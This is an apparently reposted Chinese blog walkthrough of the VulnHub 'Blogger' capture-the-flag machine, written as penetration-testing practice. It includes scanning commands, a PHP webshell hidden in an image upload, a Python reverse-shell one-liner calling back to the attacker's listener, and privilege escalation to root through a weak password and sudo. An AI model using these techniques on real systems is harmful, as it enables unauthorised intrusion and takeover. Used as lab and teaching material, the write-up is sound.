您当前的位置:首页 > 电脑百科 > 网络技术 > 网络安全

网络安全实战分享 | 靶机 - blogger(转载)

时间:2022-05-10 09:37:18  来源:  作者:一个木橘猫

靶机下载:
https://www.vulnhub.com/entry/blogger-1%2C675/

难度: 初学者

描述:一位Web 开发人员 James M Brunner 最近创建了一个博客网站。他雇佣你来测试他博客网站的安全性。有老哥试了需要安全模式 改网卡

目标: 拿到flag

环境搭建

由于靶机特点,需要搭建在VirtualBox ,所以在启动前配置网卡为桥接模式

双击 ova 文件导入 virtualBox,然后设置网卡模式

网络安全实战分享 | 靶机 - blogger(转载)

 

配置kali的网卡为 桥接模式

网络安全实战分享 | 靶机 - blogger(转载)

 

攻击机 kali linux :192.168.31.106

主机发现

nmap -sP 192.168.31.0/24 // 采用ping扫描存活主机

网络安全实战分享 | 靶机 - blogger(转载)

 

排除个人IP和已知网络IP后,存在一个异常IP地址: 192.168.31.73

进一步扫描 IP 地址开放的端口号

nmap -sV -sT -p- 192.168.31.73 // -sV 探测端口服务版本 -sT 全连接 -p- 全端口

网络安全实战分享 | 靶机 - blogger(转载)

 

扫描结束后,发现目标IP 开放了 2 个端口,SSH 可以采用爆破密码, HTTP服务可以通过常规 web 漏洞手段渗透,确认攻击方法后,优先挖掘 web 漏洞

后续可能会遇到跳转到域名访问情况, 将 blogger.thm 添加到 /etc/hosts 文件 或 C:windowsSystem32driversetchosts文件

web 应用程序- 漏洞发现

先进行目录爆破,使用工具 dirsearch 爆破路径

命令: Python/ target=_blank class=infotextkey>Python dirsearch.py -u http://192.168.31.73/

网络安全实战分享 | 靶机 - blogger(转载)

 

访问发现存在网站目录遍历,获取到web容器版本 2.4.18

网络安全实战分享 | 靶机 - blogger(转载)

 

访问路径 /fonts/blog时,发现 wAppalyzer 获取到更多的信息,确定当前存在wordPress/ target=_blank class=infotextkey>WordPress 环境

根据 wordpress 版本 寻找漏洞 (百度寻找公开漏洞poc或使用工具 wpscan)

Burp的插件-software vulnerability scanner 也可以帮助我们扫描到 wordpress 版本

网络安全实战分享 | 靶机 - blogger(转载)

 

使用wpscan 扫描域名

命令: wpscan --url http://192.168.31.73/

看起来 wordpress 开启了 xmlrpc , 但是利用 msf 扫描失败了

网络安全实战分享 | 靶机 - blogger(转载)

 

继续寻找漏洞,在阅读博客时发现有一款编辑器

在评论处发现可以上传图片,上传图片马测试

命令: copy 1.jpg/a +shell.php/b shell.jpg // 1.jpg为正常的图片,尽可能选择小点的图片,shell.php 为 php一句话木马

网络安全实战分享 | 靶机 - blogger(转载)

 

抓包,尝试修改图片后缀 为 php,(为了更好的截图,我删除了一部分HTTP 请求header)

网络安全实战分享 | 靶机 - blogger(转载)

 

随后通过返回的路径测试(也可以通过路径遍历找到上传php文件),发现绿了,拿到shell

网络安全实战分享 | 靶机 - blogger(转载)

 

寻找提权手段

存在数据库密码配置文件,发现登录返回500 错误

在 /home下发现当前 服务器存在三个用户 james ,ubuntu,vagrant ,利用 hydra 暴力破解用户 发现不允许密码登录、

利用弱密码在获得的shell上登录,发现蚁剑执行 su 受限制

网络安全实战分享 | 靶机 - blogger(转载)

 

尝试反弹shell在终端尝试重新上传一个 图片马,

网络安全实战分享 | 靶机 - blogger(转载)

 

kali 监听 本地端口 8888 命令: nc -lvvp 8888

利用system 函数 执行反弹shell命令,这里注意 enctype 的值,否则接收不到shell接下来获得一个交互式的shell

a=python3 -c 'import socket,subprocess,os;

s=socket.socket(socket.AF_.NET,socket.SOCK_STREAM);

s.connect(("192.168.31.106",8888));

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/sh","-i"]);'
尝试利用弱密码登录用户 vagrant

网络安全实战分享 | 靶机 - blogger(转载)

 

获取信息发现存在sudo 权限

sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行。

网络安全实战分享 | 靶机 - blogger(转载)

 

利用sudo su 提升到 root权限

网络安全实战分享 | 靶机 - blogger(转载)

 

在root 目录下得到 root.txt 文件

网络安全实战分享 | 靶机 - blogger(转载)

 

base64 解码得到如下内容

Hey There,

......

Here's Your Flag.

flag{W311_D0n3_Y0u_P3n3tr4t3d_M3 :)}

拿到 flag 就结束了,还有个flag 在james/user.txt 我这里就不展示了

总结

难度不大,考察了 文件上传,权限提升等漏洞,需要掌握基础知识即可挑战,适合入门安全从业人员以及兴趣爱好者。

坑点:这个靶机只能搭建在vb上,我在vmware上测试时只有一个没有分配ip地址,网卡启动有问题。

另外要注意,反弹shell和蚁剑执行的shell 还是有些许不同,在测试中可以多试试不同的方式。



Tags:靶机   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
靶机下载: https://www.vulnhub.com/entry/blogger-1%2C675/难度: 初学者描述:一位Web 开发人员 James M Brunner 最近创建了一个博客网站。他雇佣你来测试他博客网站的安全性...【详细内容】
2022-05-10  Tags: 靶机  点击:(258)  评论:(0)  加入收藏
所涉及到的知识点:1、WEB安全-漏洞发现及利用 2、系统安全-权限提升(漏洞&配置&逃逸) 3、内网安全-横向移动(口令传递&系统漏洞) 实战演练-ATT&CK实战系列-红队评估环境下载:...【详细内容】
2022-02-25  Tags: 靶机  点击:(188)  评论:(0)  加入收藏
DC-6题目描述DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.This isn't an overly di...【详细内容】
2020-07-30  Tags: 靶机  点击:(181)  评论:(0)  加入收藏
前言&靶机简介这个靶机挺多漏洞,知识点很广,所以决定自己来打一遍,算是复习一些很久前的知识点,就从一个端口一个端口来渗透吧,看看有什么知识点端口扫描 25端口用户名枚举为啥选...【详细内容】
2020-06-10  Tags: 靶机  点击:(299)  评论:(0)  加入收藏
▌简易百科推荐
概要编辑判断网站是否部署CDN,进行绕过并寻找真实ip1、查找真实ip如果目标网站使用了CDN,使用了cdn真实的ip会被隐藏,如果要查找真实的服务器就必须获取真实的ip,根据这个ip继续...【详细内容】
2022-09-08  龙太幻    Tags:CDN   点击:(2)  评论:(0)  加入收藏
thc-ssl-dos SSL协商加密对性能开销增加,大量握手请求会导致拒绝服务 利用SSL secure Renegotiation特性,在单一TCP连接中生成数千个SSL重连接请求,造成服务器资源过载 与流量...【详细内容】
2022-09-02  IT知识一享    Tags:SSL   点击:(12)  评论:(0)  加入收藏
2020年4月1日19点27分(UTC时间)至19点33分,美国思科公司旗下的互联网路由监测网站bgpstream.com连续监测到,俄罗斯电信运营商Rostelecom大量向互联网广播不属于自己的IP地址空间...【详细内容】
2022-08-06  成长点滴    Tags:安全防护   点击:(22)  评论:(0)  加入收藏
1、网络安全威胁  破坏网络安全的一些理论方式:    窃听:窃听信息,在网路通信双方直接进行窃听。    插入:主动在网络连接中插入信息(可以在message中插入恶意信息)  ...【详细内容】
2022-08-03  小小小网安    Tags:网络安全   点击:(43)  评论:(0)  加入收藏
在网络信息大爆炸的时代,手机已经成为了我们生活中不可或缺的物件。在生活里,好像缺少了它,就缺少了安全感。但事实上,你所依赖的手机无时无刻不在监视着你!就在昨天,国家网信办就...【详细内容】
2022-07-29  永洪科技    Tags:个人信息   点击:(93)  评论:(0)  加入收藏
加速的数据中心内数字化转型与激增的相关应用程序,正暴露在潜在安全威胁的新攻击面之下。这些新攻击通常绕过传统防火墙和 web 应用程序防火墙等完善的外围安全控制,使网络安...【详细内容】
2022-07-27  LEADTEK 丽台科技    Tags:网络安全   点击:(27)  评论:(0)  加入收藏
HTTP协议基础 静态WEB 动态WEB 应用程序 数据库 每人看到的内容不同 根据用户输入返回的不同结果 Web攻击类型有数百种Web攻击面 Network------网络 OS------操作系统...【详细内容】
2022-07-12  IT知识一享    Tags:Web渗透_   点击:(52)  评论:(0)  加入收藏
网络中存在着各种威胁,这些威胁直接的表现形式也是黑客攻击常采取的形式。入侵检测(Intrusion Detection)是对入侵行为的检测。1.常见的网络攻击方法网络中存在着各种威胁,这些...【详细内容】
2022-07-05  DAWEI    Tags:网络安全   点击:(159)  评论:(0)  加入收藏
翻译:SEAL安全原标题:Over 900,000 Kubernetes instances found exposed online原文链接:https://www.bleepingcomputer.com/news/security/over-900-000-kubernetes-instances...【详细内容】
2022-07-01  SEAL安全    Tags:K8S   点击:(54)  评论:(0)  加入收藏
NotPetya、WannaCry、ShadowPad、Sunburst……这些恶意软件或许不为人们所熟知,但它们却时刻危害着全球互联网安全。2022年初,一名19岁黑客通过第三方应用程序远...【详细内容】
2022-06-28  河北网络安全    Tags:供应链   点击:(43)  评论:(0)  加入收藏
站内最新
站内热门
站内头条